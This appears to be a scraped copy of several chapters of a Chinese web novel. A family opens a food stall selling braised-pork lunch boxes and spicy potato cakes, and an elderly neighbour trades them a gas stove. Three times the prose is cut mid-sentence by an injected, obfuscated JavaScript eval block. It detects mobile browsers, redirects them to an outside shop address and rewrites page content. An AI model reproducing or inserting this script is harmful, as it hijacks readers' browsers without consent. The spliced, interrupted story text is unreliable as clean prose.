林秋娇的困意立马跑光了，她往自己左右肩拍一下，一本正经道：“还好我从电影里学过驱鬼术，现在不困了，我这就起来继续收拾。” “小溪，我把肉跟土豆都洗好了。”叶大翔在外面喊。 叶从溪走出去，挑起其中一条，用刀切下一块，大概手指宽的样子：“爸，就照这个大小切，别差太多，我打算一份盒饭装二两肉，切大了不好分。” 叶大翔一听，一脸凝重地将那块示范肉摆在砧板上，仔细对齐了，才举刀切下去。 一模一样，一丝肉都没多。 他是绝对不会让一份肉超过二两的！ 叶从溪把米泡在盆里，家里就一个蜂窝煤炉子，米得先泡透，等下才煮得快。 叶大翔把肉都切好了，转头就去削土豆皮，他越来刷越起劲：“还别说，这玩意挺解压的，比打牌有意思。” “爸，你的肉切得不错呀。”叶从溪笑了笑，检查过五花肉，就跟姜葱一起放锅里焯水，捞上来后冲去浮沫。 蜂窝煤还在呼呼烧着，她抽掉一个，让炉子温度降下去，用小火将五花肉的油脂慢慢煎出来。 唉，虽然说蜂窝煤炖出来的东西挺香的，但始终还是没有煤气灶方便。 锅底滋滋作响，五花肉渐渐起了焦边，肉香一点点冒出来。 叶大翔鼻子耸动：“这才刚开始，我闻着就要流口水了。” 林秋娇在屋里也闻到味了，她干得更加卖力，还搬来凳子，把柜子上面也擦干净。 叶从溪把五花肉倒在大盆里，这盆也是刚买的，用水冲过几遍，泛着油光的五花肉堆在盆里冒出尖尖，还散着热气。 叶从溪先舀一点猪油出来，等下炒土豆丝加点会更香。 剩下的油留锅里，下一把冰糖炒出糖色，再把五花肉倒回去，加上调味，瞬间油花四溅，香味乱逸。 “爸，帮我抬下锅，我加块煤。”要先用大火烧开水，再用小火慢慢炖煮。 这最少得炖四十分钟，趁着这时候，叶从溪准备切土豆丝。 叶大翔说：“你这小手哪里拿得稳那么大的刀，你切一条土豆丝出来，爸爸对着来就行。” 刚刚那五花肉他也整得挺好的啊。 “行。”叶从溪切出几条土豆丝，让开位置。 土豆丝又长又细，叶大翔手慢脚乱对照半天切出来却都粗粗的。 “这怎么那么滑，根本不好切。”叶大翔丧气得很。 “刀工不行，我也是练了好几……好几天才练出来的。” 叶从溪是有打算让叶大翔练刀工的，干餐饮可不轻松，她到时候开学了不一定能兼顾过来，那她爸得顶上啊。 不过现在没时间了，得先把午餐盒饭做出来。 叶从溪接过刀，迅速切好土豆丝，叶大翔在旁边看得目瞪口呆。 解决完最后一颗土豆，叶从溪把刀一收：“爸，把这个土豆丝洗一洗，冲掉淀粉，不然炒出来不脆。” 叶大翔洗好了，一回头，就看见女儿开始收红烧肉的汁了。 锅里的肉色深亮，浓稠的酱汁紧裹在每一块肉上，肉皮也随着锅铲的翻动微微晃着。 咕咚。 叶大翔的喉咙跟着响了一声。 下一锅开始焖饭，叶从溪加了点油跟盐进去。 土豆丝泡过白醋，加上青椒丝、小米辣、拍碎的蒜末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698772|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐齐下锅，香得连风都带了味，把路过的人馋得往里头看了好几眼。 叶从溪从院子的窗户去看客厅时钟：“十一点了，快快快，装饭盒。” “这米饭也太香了吧。”林秋娇一脸惊叹，她女儿或许真有什么神厨天赋？不然怎么煮个白饭都比别人香？ 林秋娇负责添饭，叶大翔夹土豆丝，叶从溪装红烧肉。 最后装出三十五份饭盒。 叶从溪递了一份给林秋娇：“妈，你的午饭。爸，我中午跟你去摆摊，我们晚点吃。” 她要跟着去熟悉熟悉，看看顾客的反馈。 电子厂门口。 前面一排饭店大锅小灶的都开张了，旁边也有些卖炒粉之类的街边摊，那猛火大火呼啦啦火光冲天地炒。 相比之下，叶从溪他们这小推车拉过来的盒饭看着实在没什么竞争力啊。 叶大翔尴尬挠挠头。 女儿跟过来了，他也不好像早上那样硬核揽客，完了，盒饭该不会卖不掉吧。 就在叶大翔发愁之际，一道身影从厂门里红着眼跑出来。 叶大翔一瞅，这人有点面熟，这不是早上被他强逼着买了一碗鸡丝粥的那个吗？ 这是干嘛？看这凶狠的眼神，来报仇的？！ 叶大翔赶紧挡在女儿身前。 “你，你……！”吴林大喘气，“你中午还有卖鸡丝粥吗？我还想要再来一碗！” 叶大翔：“……”原来不是凶狠，是饿狠了。 叶从溪探出头：“中午没有鸡丝粥，不过有盒饭，菜是红烧肉跟炒土豆丝，两块五一份，要来一份吗？” 两块五，不能说贵，但也绝对不是实惠那一档的。 吴林犹豫：“我能看看吗？” “当然能。”叶从溪拿起一个饭盒，掀开盖子，热气带着香味扑面而出。 吴林瞪大眼睛。 红烧肉色泽鲜亮，土豆丝黄中带青，红米椒点缀其中，那股酸香辣气让他肚子一下就嘀咕一声。 他立刻掏钱：“给我来一份！” 吴林都等不及回宿舍了，他就坐在旁边的台阶上吃。 五花肉就是要大块的吃起来才过瘾，这家的五花肉炖得透透的，内芯都入了味，油脂也都溶了出来，化作醇厚的荤香，吃着咸中带甜，连底下沾有红烧肉酱汁的米饭都更香了。 吃着吃着，吴林又发现，没沾到酱汁的米饭也香，还有种很特别的火味。 土豆丝也是绝了，根根分明，吃着脆生生的，带着辣意，酸爽得让人胃口大开。 吴林吃得整个人都幸福得眯起了眼睛。 叶大翔看他这样都看饿了。 旁边一个原本想买炒米粉的顾客也是脚步一转，同样要了一份盒饭。 紧接着，又有几个早上买过鸡丝粥的顾客从厂里出来，看见叶大翔在卖盒饭，纷纷跟着要了一份。 黄毛是招人嫌，但如果这黄毛卖的东西无敌好吃，那可就不一样了。 早上那鸡丝粥那么香，中午盒饭肯定也不差吧！ 叶大翔人都傻了，本来还担心卖不出去，没想到眨眼的功夫就卖出了九份盒饭。 就当他咧起嘴要哈哈大笑时，一道吼声从身后传来—— “叶大翔，可算让我找到你了！” 5. 5 叶大翔皱了皱眉，心想谁啊，这阵子他没得罪什么仇家吧。 抬头一看，他有些意外：“找我干嘛刘老头？” 叶大翔下意识往后挪了半步，不是又要骂他吵吧？ 之前他经常拎着一台卡式录音机到河涌边放歌，这老头就对他很大意见了。 他都没嫌弃他们在旁边啪啪啪的下棋声大。 刘大爷远远看见叶大翔，怕他又去别的地方，急得一路小跑过来。 他喘了好一会儿，才开始说话：“总算逮到你了，早上我满大街找你想买碗鸡丝粥，到处都见不到你人影。” 叶大翔一听，悄声贴到女儿耳边：“我们这才摆摊半天，都有忠实顾客了。” “嘀嘀咕咕说什么呢。”刘大爷心急得不行，“快给我来碗粥，一块是吧。” “粥是早上的，我们中午卖盒饭，要不要来一份，有红烧肉有土豆丝，比鸡丝粥还要好吃，只要两块五。”叶大翔学着女儿那样，把饭盒掀开给刘大爷看。 刘大爷本来就冲着鸡丝粥来的，惦记一早上，这会听见没有，心一下跌到谷底。 当看到盒饭的卖相后，刘大爷的心又回来了。 红烧肉色泽红褐，土豆丝金黄油亮。 看着都挺不错，闻着也很香。 刘大爷看一眼叶大翔：“你做的？” “我哪有这个手艺，是我女儿做的。”叶大翔拍了拍叶从溪的肩膀，脸上写满了骄傲，“她照着书上做的，我就给他打打下手。” 刘大爷对叶大翔确实挺大意见的。 一想到那么好吃的鸡丝粥是叶大翔家的，他心里都不得劲。 现在听说是他女儿做的，可算舒服多了。 刘大爷又掏出一块五：“拿一份拿一份。” 刘大爷拎着饭盒回到家，跟做贼似地往屋里看了眼，没见人，这才赶紧溜进去。 打开饭盒那一刻，香味扑面而来，他差点没忍住笑出声，立刻夹起一块红烧肉吃进嘴里。 这红烧肉厚厚一块，夹起来还duang了duang，越嚼越香。 刘大爷正准备再来一块时，门嘎吱一响。 张阿婆回来了，一眼看见那盒饭，火气蹭地上来：“又偷吃！医生怎么跟你说的？不能吃肥肉！一大把年纪，还跟小孩一样连嘴都控制不住。” 刘大爷胆固醇高，肥的炸的，还有那些高糖的都要忌口。 张阿婆继续数落：“家里有饭有菜，炒一炒就能吃，你还出去买，你真是有钱没地方花钱啊！” 刘大爷一脸无辜：“我这不是想找叶大翔买碗粥嘛，谁知道他中午不卖，我总不能空手回来吧。” 张阿婆去看饭盒：“这盒饭是从叶大翔那买的？” 刘大爷点点头：“不过不是他做的，是他女儿炒的，手艺确实不错，挺好吃的。” 张阿婆从厨房拿了个碗。 刘大爷立刻警觉：“你不会也想吃吧？这就一人份，你看这点饭都不够我吃。” 张阿婆一伸手：“饭你留着，肉我拿走，你吃土豆丝去。” 刘大爷眼睁睁看着自己的肉被挑走，心都在滴血。 他才吃了一块呢。 刘大爷心情郁闷，只好扒拉一筷子土豆丝往嘴里送。 结果这一口下去，他心情又变好了。 之前家里的土豆丝都是用蒜炒的，就加点盐，不像这土豆丝酸酸辣辣，而且切得很细，口感强百倍。 虽然是素的，但一点都不比红烧肉差。 再扒两口饭，也是香得很。 厨房里。 张阿婆看了眼锅里的米饭，估计还要再闷一闷。 刚才舀红烧肉的时候，粘了一小团米饭上来。 她站着就把那块带着饭的红烧肉吃掉。 等锅里的饭好了，张阿婆吃了两口自己蒸的米饭，放下筷子，端着碗走回客厅：“我怎么感觉自己家的饭没叶大翔他们家的香，让我再尝一口你的米饭。” 刘大爷立马转过身，用后背将饭盒挡得严严实实，加快吃饭的速度，嘴里含着饭菜嘟囔：“唔唔……木有了……吃完了……” 张阿婆：“……小气。” 不过这红烧肉确实不错，肉皮软糯弹牙，肥瘦分明不腻不柴，连里头都入味了，咸香中带着点甜，那酱香味混着肉香吃起来真是过瘾得很，是她吃过味道最好的五花肉。 - 刘大爷离开后，叶大翔又卖了两盒饭盒，同样是鸡丝粥的回头客。 叶大翔数着一把零钱，笑得见牙不见眼：“这就卖了二十七块五。” 去掉成本，那也赚了十多块了。 在厂里从早干到晚才挣个几块钱啊。 “早知道卖吃的那么赚钱，我也去买几本菜谱回来看看，不过爸年纪大了，脑子慢，估计得学一个月才能有你这水平吧。”叶大翔美滋滋。 叶从溪忍笑：“爸，你饿不饿？要不咱们边吃边卖吧。” “行。”叶大翔肚子也咕咕叫了，“你等等。” 他跑去前面商店买了两瓶橘子汽水。 刚从冰柜里拿出来，瓶身都冒着小水珠。 “我们先喝，回去再给你妈带一瓶。” 叶从溪按住快飘上来的长吸管，咕嘟咕嘟几口下去，透心凉。 这种玻璃瓶汽水最好喝了。 父女两人就坐在台阶上，一人一盒饭。 叶大翔每一口都是深渊巨口，吃得吧砸吧砸：“这红烧肉绝了，怪不得刚刚那个家伙吃得那么香。” 他这吃相也挺有感染力的，直接将旁边几个工人吸引过来。 她们都是在电子厂干了好几年的老员工，周围饭馆都吃了遍，连小摊也吃腻了。 “唉，不知道中午吃什么好。” “要不炒米粉吧？或者炒饭？” “我这个月已经吃过两三次炒米粉，腻了腻了，哪有点新鲜的啊。” …… 结果几人商量着商量着，最后还是准备去吃炒米粉，因为实在是想不出吃什么好。 等到了炒米粉摊，她们看见隔壁吃得津津有味的叶大翔。 就跟后来刷到吃播的观众一样，看馋了。 除了一个人，其他人都买了盒饭回宿舍。 大家打开盒饭一尝，哇声四起。 “这个红烧肉好吃，一点都不肥，它上面的酱好香啊，我要拌着饭。”她全拌匀了，肉香饭香全混在一起，吃起来那叫一个过瘾。 “土豆丝也不错，我就喜欢这种酸酸辣辣的，开胃。”这姑娘一筷子夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698773|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，跟吃面条一样吸进嘴巴里，酸辣气呛开，香得不行。 那唯一买炒米粉的后悔极了，眼巴巴看着她们的饭盒，口水都要掉下来。 “早知道我就不买炒米粉了。” 其他人哈哈哈笑，纷纷慷慨解囊，每人夹一块肉分她。 她一边嚼，一边眼睛发亮：“明天我也要买盒饭吃！” …… 叶从溪他们收拾完摊子，准备回家。 林秋娇来了：“我来看看生意咋样。” 叶大翔一眼就看出：“你妈肯定是没吃够，想来看看有没有卖剩的。” 林秋娇鼓着脸：“翔哥，你就是一条虫。” 叶大翔：“啥？” 林秋娇：“我肚子里的蛔虫。” 叶大翔：“……” 叶从溪哈哈哈笑：“妈，我们全卖完啦。” “全卖完啦？那得挣多少钱啊？”林秋娇眼睛一亮。 叶从溪：“卖出去八十块，能挣个四十多吧。” “四十多？”林秋娇腿都软了，又激动地说，“那我们很快就能攒够三百块啦。” 叶大翔也很开心，他不用去蹲大牢了。 “走吧妈，我给你买汽水喝。”叶从溪把两个玻璃瓶还给老板，推开小卖部的冰柜门。 冰柜冒着冷气，汽水瓶泡在水里，玻璃瓶结出薄薄的冰花，什么口味的都有。 “妈，你要啥味的？” “橘子味。” 他们一家都爱喝橘子味的汽水。 叶从溪把汽水递过去，正要去给钱，林秋娇忽然拉住她的手：“你手咋啦？” 叶从溪愣了下，摊开自己的手心，才知道林秋娇在说什么。 是做菜磨出来的茧子，因为破了皮，渗着一丝血痕。 叶从溪很有经验：“没事，切太多土豆磨破皮而已，习惯就好了。” 林秋娇瞪圆眼：“都要流血了怎么没事？明天不许你切，让你爸切。” 叶大翔：“对对对，我来切。” 林秋娇：“还有，明天你也别出来卖盒饭了，你看这晒得一身汗，可别中暑了，让你爸一个人来卖就行。” 叶大翔：“对对对，我来卖。” 林秋娇：“以后屋子也让你爸打扫。” 叶大翔：“对对对，我来……嗯？” 林秋娇抿嘴笑，叶从溪也笑得直抖。 回家之前，林秋娇非要去药店买红药水跟创可贴，给叶从溪处理那流血的茧子。 叶从溪有点别扭：“真没多大事……”她以前都磨习惯了，也不去管，多磨几次，茧子厚起来就不怕了。 林秋娇给她粘好创可贴：“好了。” 叶从溪看了看林秋娇，又看了看自己的手，摸了摸创可贴。 心里一阵酥酥麻麻的暖流漫过。 她鼻子也有点酸。 这就是有妈妈的感觉吗？ 叶从溪有些小别扭，又怕自己哭出来，她往床上一躺，声音闷闷地说：“妈，我要睡觉了。” “行，你睡吧。”林秋娇给女儿打开风扇，顺便关上门。 叶从溪这一躺，不知不觉就睡过去，一直睡到傍晚。 她刚醒来，就听见院子传来嘈杂的动静，跟在打战似的。 6. 6 叶从溪一出门，差点被呛了个倒退。 院子里烟雾缭绕，叶大翔正隔着老远炒菜，用袖子当口罩，咳得眼泪都出来了：“小溪……咳咳……你醒啦，再等会儿就能吃晚餐了咳咳咳……” 叶从溪：“……” 怎么感觉不是要吃晚饭，是要吃断头饭了？ “老婆，碟子！” 林秋娇也被烟呛直眯眼，边递碟子边往后跑，还拿着蒲扇使劲扑开烟。 叶大翔把锅里的菜盛出来，他灰头土脸：“还行吧，比我想象中的好一点。” 他本来以为都糊透了，没想到还能看出是盘菜。 叶从溪探头一看：“爸，晚上你又炒土豆丝？” “我下午又去买了二十斤土豆，想着练练刀工，以后就不用你来切了。” 叶从溪中午给了叶大翔跟林秋娇每人各五块钱，让他们以备不时之需，叶大翔就是用这钱买的。 叶从溪看向洗手池，果然堆着两大袋土豆，还有一盆切好洗过的。 她洗过手去翻了翻，底下的土豆丝又粗又短，往上看越切越细，形状也顺眼多了。 “爸，你这刀工进步挺快啊，还是有点天赋的。” 叶大翔自信心又回来了：“那当然，来来来，尝尝我做的土豆丝。” 叶从溪先吃了一口，然后默默把筷子递给林秋娇，林秋娇吃了一口，又默默把筷子递给叶大翔。 叶大翔将这母女俩的反应收入眼底：“有那么难吃吗？” 他自己也尝了一口，整张脸瞬间就皱了起来。 “好油啊，怎么感觉又咸又不够酸味啊，我明明下了醋？” 叶从溪笑出声：“爸，你那醋肯定下早了，得等快出锅的前十秒再淋，还有泡水的时候也能加点醋，又脆又爽口。” 难怪了，叶大翔就记得切完土豆丝要把淀粉冲掉。 “小溪，你看的那本做菜的书叫什么名字，回头我也看看。” 叶从溪耸了耸肩：“忘记了，我在图书馆借的，早还了。” 原主之前确实经常去图书馆，不过是冲着江闻川去的。 叶大翔有点可惜。 幸好他机智，只炒了一碗土豆丝当试验品，是吃饭的那种碗，扒拉两口就吃完了。 不过盆里还剩那么多土豆丝，都是他练刀工用掉的。 卖应该不适合，没有女儿切的好看，怕顾客不认账。 可直接扔掉又浪费。 叶从溪想了想，端起盆：“要不我们晚上吃煎土豆丝？” 林秋娇立马举双手赞成：“好啊好啊。” 女儿做的东西都好好吃。 叶大翔赶紧凑到叶从溪身边学习：“就用这盆土豆做？我切得那么粗也可以？” “可以啊，只要别切成块就行。”叶从溪加一把盐，还有五香粉跟淀粉进去。 她一边拌一边说：“五香粉是调味的，盐杀水，淀粉能把土豆丝黏合在一起，等下来煎出来才整齐。” 叶大翔点点头，他在身上掏出一本电话薄，小小一本，还带着一支笔。 他将女儿的话记下来。 等土豆变软，叶从溪将渗出来的水倒掉，抹了点油，把锅加热。 “煎东西得用小火，别心急，”她一边说，一边把摊开的土豆丝铺平压紧，“你看边缘有点焦焦的就可以翻了，爸，你来翻面。” 反正土豆丝是自己家吃的，翻车也没关系，正好让叶大翔练练手。 叶大翔挽起袖子，信心满满地接过锅铲。 他第一下还想学着电影里的颠锅翻面，结果自然是失败，最后老老实实用锅铲翻了两次，可算成功了。 等这一面也煎得金黄，叶从溪撒上一把小香葱跟芝麻收尾。 煎好的土豆饼外壳酥脆，边缘卷起，油光里透着一层微微的焦香。 叶从溪将它转到砧板上。 叶家原来那个砧板什么菜都一块切，叶从溪有点受不了，又多买了一个生熟分开。 一刀落下，土豆饼应声分成三块，那香味冲得更浓郁了。 土豆饼外酥里软，牙齿咬下甚至能听见咔滋一声脆香，油煎的香气顺着牙缝在嘴里四处乱窜。 咀嚼的时候，土豆丝饼热乎乎地裹住葱花，又多了股咸香醇厚的葱花芝麻香，吃着一点都不腻。 叶从溪还挺满意：“要是再撒点辣椒粉，那就更完美了。” 林秋娇疯狂点头，她是蜀地人，最喜欢吃辣。 叶大翔舔了舔手指：“我觉得这样就挺好吃，这回让我来煎。” 叶大翔又往锅里舀油铺土豆丝，紧张地盯着锅。 过了会，叶从溪见他还没动，在旁边发出提醒：“翻。” 叶大翔赶紧翻饼。 新饼出锅，又是一人一块。 叶大翔一脸期待：“怎么样，我做土豆饼还可以吧？” 林秋娇嘴里还在嚼，竖起大拇指：“翔哥，你太厉害了，你做出来的味道居然跟小溪的差不多，就是稍微有点焦。” 但因为土豆饼的味道足够香，这点点糊味完全可以忽略不计。 叶从溪：“……因为这是我调的料！” 味道能不一样吗？！ 又煎了几次，叶大翔越来越顺手。 由于他想多练习，所以每次摊的饼都不大，几趟下来，月亮已经爬上天空，一家人都还没有吃饱。 “再来再来。”叶大翔已经煎上头了，正准备开始煎第八次。 他兴致勃勃又拿起锅铲：“好香啊，要不我们晚上也出去摆摊吧，这些土豆丝别浪费了。” 叶从溪觉得可以：“那我去买点辣椒粉。” “我跟你去。”现在已经是晚上，林秋娇不放心女儿一个人出门。 叶从溪决定先去小市场看看，里面的杂粮铺也有卖辣椒粉，不过种类不多，只有两种。 一种颜色深一点的，一点颜色浅一点的。 叶从溪两种都闻了下，摇摇头。 “味道不行吗？那要不让你爸载你去大市场那边看看？” 叶从溪想了想，她最后选了浅一点的辣椒粉：“没事，我们自己加点孜然和盐调一调味。” 林秋娇看着女儿的目光充满崇拜。 回到家里，叶从溪开始调辣椒粉，先不弄太多，就差不多一勺子的量，看看哪个更好吃。 “这个香这个香。”林秋娇点了第三个。 叶从溪挨个闻，挨个尝，也觉得第三个最不错。 林秋娇问：“翔哥，你的土豆饼煎好没有？” “来啦。”叶大翔端着刚出炉的土豆饼过来。 叶从溪撒上辣椒粉，辣椒粉顺着油气融入进去，金黄的土豆饼皮立刻添了层鲜亮诱人的红。 林秋娇看得口水疯狂分泌，听着那酥饼被切开的声音她都觉得心痒了。 还是一人一片。 香辣的饼皮酥得不行，内里却又嫩又烫，辣味跟土豆香一起炸开，这一口下去，香、酥、辣全在嘴里弥漫。 林秋娇咔擦咔擦两口下去就吃完一块，意犹未尽：“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698774|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用去摆摊了，我们自己都能吃完。” “不行！”一声炸雷似的怒喝忽然从镂空窗户钻来。 三人纷纷一惊。 “老头，你干嘛，要吓死人啊！”叶大翔立刻举起锅铲。 刘大爷出门遛弯看见叶从溪从粮油铺出来，猜测她又要做什么吃的，所以一路跟到这儿来。 他在外面被煎土豆饼的香味馋得不行，一听林秋娇说不去摆摊，当场就急了。 “你们不摆晚餐就算了，宵夜还不想做，这是懒！这么香的土豆饼，你们光自己吃了，这是自私！”刘大爷谴责。 一家三口：“……” 刘大爷：“赶紧摆摊去，你们准备去哪里？我先去等你们。”他要抢第一口。 叶大翔倒是想起个事了：“河涌那边晚上人流多，但那摆摊是不是要提前租摊位？” 刘大爷拍拍胸口：“放心交给我，我给你找好位置，你们过来就是了，快一点啊。” 等刘大爷走了，叶大翔没忍住嘀咕：“没想到这刘老头还挺馋的。” 叶从溪已经把辣椒粉都装进瓶子里：“那我们也走吧。” 叶大翔把小推车拉出来，炉子跟锅摆在上面。 再放上一些蜂窝煤，就没有多余的位置。 林秋娇端着那盆土豆，叶从溪用袋子装好佐料。 一家人满满当当往外走。 他们家离河涌跟工厂都近，而且刚好在路口，不用走小路。 河涌边的夜风凉爽，周围人来人往，熙熙攘攘。 有拿着喇叭卖水果的，有卖烤生蚝的，有卖烤肉的，有卖炸串的。 刘大爷在上坡那块地方等着，看见他们就招招手：“这里这里。” 这里是街道办在管，刘大爷的侄子就在街道办上班，跟他们说摆一两天都可以，但长期要摆的话就得交钱，不然城管会赶人。 这个钱大把人想交，现在还得排号呢，没点关系都轮不到。 “要不要辣？”叶大翔问刘大爷。 刘大爷回想起中午吃的酸辣土豆丝，喉咙上下滚动：“要，我要你女儿煎的！” 叶大翔嘴角一抽。 “行，我来。”叶从溪笑着接过锅铲，她下油、铺土豆丝、压平、煎酥翻面，撒料，用袋子装好一气呵成。 刘大爷抽了两张纸巾垫着隔热，坐在旁边就开始吃，辣椒粉混着香葱芝麻的香味先冲进鼻子，咬开之后又烫又糯，好吃得不行。 香气随着热气一阵阵往外飘，周围路人纷纷停步。 “这是什么？怎么卖啊？” “土豆丝饼，五毛钱一个，有辣又不辣。”叶大翔介绍。 “那给我来一个，我要中辣的。” “我的不要辣，帮我煎酥一点，我喜欢那种脆脆的口感。” …… 人群越聚越多，空气都是那股香辣酥脆的土豆饼油香味。 在夜市，香味就是最好的招牌。 没一会儿的功夫，这盆土豆丝就快见底了。 叶大翔紧急回家削土豆，又抬着满满一盆土豆回来。 他把五香粉那些都拿来了：“我不知道要下多少调味。” “行，我来调。”叶从溪把锅铲给叶大翔。 这时，刘大爷已经吃完第一个土豆饼，他仍觉得不过瘾，又挤进人群点了一个。 等拿到手，他一尝，也挺好吃的，不过没有第一个惊艳。 他一边嚼一边感叹：“还是你女儿手艺更好一点，你这饼啊，有点差火候。” 7. 7 宋羽下工后跟同事出来逛街。 正好两人肚子都有点饿了，同事提议：“要不要买宵夜吃？凉皮？臭豆腐？我看那个烤羊肉串也不错。” 宋羽平时可是什么都能吃两口的人，这会却表现得兴致缺缺，脑海里全是中午那份红烧肉。 跟米饭拌在一起的红烧肉啊，那褐红色酱汁浓浓地裹住米饭，油亮亮的，吃完再来一筷子酸辣土豆丝，那滋味……她光回想，嘴角都快要流口水了。 同事看她没反应：“你怎么了？都不要啊？” 宋羽：“我想吃饭。” 同事：“啊？谁宵夜吃饭啊！” 宋羽还没解释完，嗅觉忽然捕抓到空气中一股若有若无的香气。 她立马抽了抽鼻子四处看：“你闻到了没？好香的味道。” 同事也闻到了：“好像是那边传来的。” 宋羽立刻有了精神：“走走走，过去看看。” 两人顺着香味挤过去，发现前头排着一条小队，摊位不大，是卖煎土豆饼的，锅里的土豆丝滋啦滋啦地冒着香气。 宋羽要了加辣的，同事要了不辣的。 叶大翔那头黄毛非常有识别度，宋羽已经认出这是中午在工厂前面卖盒饭的。 她张嘴咬向土豆丝煎饼，饼皮边缘卷着焦脆的弧度，一口下去露出里头软糯的土豆丝，好好吃啊。 她还跟同事互换尝了一口，不辣的也好吃，土豆丝本身的咸香味就很香了。 宋羽吃得眉飞色舞：“老板，还有吗，给我再来一个！” 叶大翔在收拾锅了：“没有啦，全卖完了。”他已经连盆边边上的土豆丝都刮下来，卖得干干净净。 宋羽连忙又问：“那你们明天中午还摆摊卖盒饭吗？” 叶从溪点点头：“卖，还是在工厂那边，都是一荤一素。” 宋羽生怕盒饭跟土豆丝一样早早卖完，她掏出钱：“那我提前订一份。” 然后又问同事：“你要不要也预订？他们家的盒饭特好吃，中午我吃的那个红烧肉绝了，你根本想象不到有多香。” 同事相信宋羽：“那我也来一份。” 叶大翔将五块钱全接过来时，愣了两秒。 以前人看见他都绕道走，现在居然能信得过他掏钱提前订饭。 刘大爷也凑上来：“我也想订，不过红烧肉能不能换成别的？” 叶从溪：“红烧肉不好吃吗？” 刘大爷：“好吃啊，就是太好吃了，但我胆固醇高，不能吃太多肥肉，要是能换成瘦的就好了，然后再拼个汤，你卖三块钱也行啊，人家店里就是这么搞的。” 叶从溪摇摇头：“我们家就一个蜂窝煤炉子，做不过来。” 刘大爷见她有松口的意向：“我那有个没用的炉子，叫什么煤气灶，你们要不要？要就拿去，不收你钱，不过你们半个月……哦不，一个月之内都得做瘦的肉，你放心，饭钱我肯定是照样给你的，行不行？” 这煤气灶是他女儿买的，说是比炉子方便。 不过老两口问了下，煤气比蜂窝煤贵，而且看人饭店里用，那火太猛了，觉得不安全，最后还是继续用蜂窝煤。 那煤气灶就放在家里碍地方。 叶从溪眼睛一亮，煤炉还是没有煤气灶用着顺手，她确实想换来着。 “行，那我明天给您做香菇鸡腿怎么样？你们呢？鸡腿肉可以吧？”叶从溪还去问宋羽的的意见。 “可，可以啊，没问题，只要有肉就行。”宋羽愣了下才反应过来。 她有点意外，本来以为盒饭是叶大翔做，现在一看，是这小姑娘做的啊？ 不得了啊。 有这手艺以后都不用发愁了。 一转身，宋羽又有点小后悔。 今天的红烧肉实在太香了，香菇鸡腿肉听起来就更清淡些，会不会没那么下饭？ 刘大爷交代完自家地址也走了：“我先去收拾出来。” 叶从溪见林秋娇还望着宋羽她们的背影：“怎么了妈妈？” 林秋娇脸上露出怀念：“妈妈年轻那会也是这样，下了班后就爱跟小姐妹出来吃宵夜。” 她搂过女儿肩膀：“她们穿的衣服都好看啊，等那钱还清了，妈妈也给你买，你一件我一件，我们这是母女装。” 叶大翔凑过来：“那我呢？” 林秋娇露出一个笑容：“翔哥，我给你买双拖鞋，刚刚有个人的拖鞋好好看哦，红色的，特亮眼，你要是穿上肯定特别气派。” 叶从溪：？ 叶大翔一听自己也有东西，心满意足了。 把东西放回家，他们就去找刘大爷。 从河涌走过一条种满芭蕉树的小路，身后的夜市热热闹闹，这边却只剩几声蛙叫。 这里最高的楼也就五层，是八零年那会儿工厂单位建的福利房，隔音好，楼距也宽。 叶从溪深深吸了一口夜风：“好舒服啊。” 刘大爷站在门口看见他们，用力挥手。 “箱子被老鼠咬破了，你们直接搬回去就行。”张阿婆说。 原本她听老头说要把煤气灶送人还不太乐意的。 可又听说给出去，人家就愿意做一个月的清淡饭菜。 张阿婆想了想，还是松口了。 她算是看出来了，那么香的饭菜，她要是不答应，这老头准能天天去偷吃红烧肉。 那身体吃坏了，多少钱都补不回来。 张阿婆又掏出两块五：“明天盒饭给我也留一份。” 刘大爷不在家里吃，她自己一个人做饭也没意思，干脆都在外面吃的好了。 叶大翔接过钱，乐得眼睛都眯起来：“张婆，你放心，我一定给你装得满满的。” 刘大爷立刻插嘴强调：“得是你女儿炒的。”这很重要！ 叶大翔：“我做的也好吃，今晚那些买土豆饼的人都说香呢。” 刘大爷心想那是他们没吃过叶从溪做的：“你啊，还得练，让你女儿指导你吧。” 张阿婆也对叶大翔苦口婆心：“你这年纪也该稳重点了，把手艺练好，将摊子好好干起来，这不比你以前天天到处乱溜强啊？” 叶从溪蹲下来，隔着破破烂烂的箱子看煤气灶，不止是老鼠咬了，上面还有蟑螂的痕迹呢。 她默默站起来，让她爸搬回去。 两口子一个洗碗，一个把煤气灶擦干净。 叶从溪说：“爸，明天你得去问问租煤气瓶要多少钱。” 叶大翔刚点完头，忽然觉得不对劲：“等等，我们不是要攒钱吗？怎么又要花出去了？” 